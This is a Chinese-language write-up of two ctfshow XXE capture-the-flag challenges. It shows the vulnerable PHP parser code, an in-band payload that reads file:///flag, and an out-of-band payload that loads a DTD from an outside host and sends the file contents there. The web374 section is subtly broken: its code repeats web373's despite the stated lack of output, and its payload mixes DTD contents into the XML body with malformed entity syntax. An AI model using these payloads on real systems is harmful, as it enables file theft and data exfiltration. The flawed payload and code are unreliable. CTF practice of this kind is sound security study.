ctfshow XXE做題記錄

折翼的小鸟先生發表於2024-04-02

ctfshow XXE做題記錄

1.0 web373

看一下過濾程式碼

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

把一些可能不是很清楚的程式碼說明一下

libxml_disable_entity_loader(false); 表示允許外部實體呼叫,這就讓我們可以帶外DTD了,flase是開啟

$dom = new DOMDocument(); 建立一個新的DOMDocument物件,它是PHP處理XML的標準方法之一。

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);:使用DOMDocument物件的loadXML方

法載入並解析之前獲取到的XML字串。引數LIBXML_NOENT表示在解析時替換XML檔案中的實體引用,

LIBXML_DTDLOAD則表示載入外部DTD(文件型別定義),根據DTD驗證XML文件結構。

$creds = simplexml_import_dom($dom);:將DOMDocument物件轉換為SimpleXMLElement物件,以便

於更方便地訪問和操作XML元素及屬性。

$ctfshow = $creds->ctfshow; 從xml中獲得ctfshow標籤的值

沒有過濾的XXE 關鍵函式是loadXML()直接上payload

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

在body中發過去,獲取payload

注意,這個資料是直接放在body裡的,header和body的區分是\r\n如果一直不行就去看一下自己的換行是否是

\r\n

1.1 web374

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

我們看下程式碼,發現沒有輸出選項,考慮帶外dtd

<?xml version="1.0"?>
<!DOCTYPE DATA system "http://www.mrbird.love/evil.dtd">
%send;
<!ENTITY % passwd SYSTEM "file:///flag">
<!ENTITY % wrapper "<! ENTITY % send SYSTEM 'http://www.mrbird.love/?x=%passwd;'>">
%wrapper;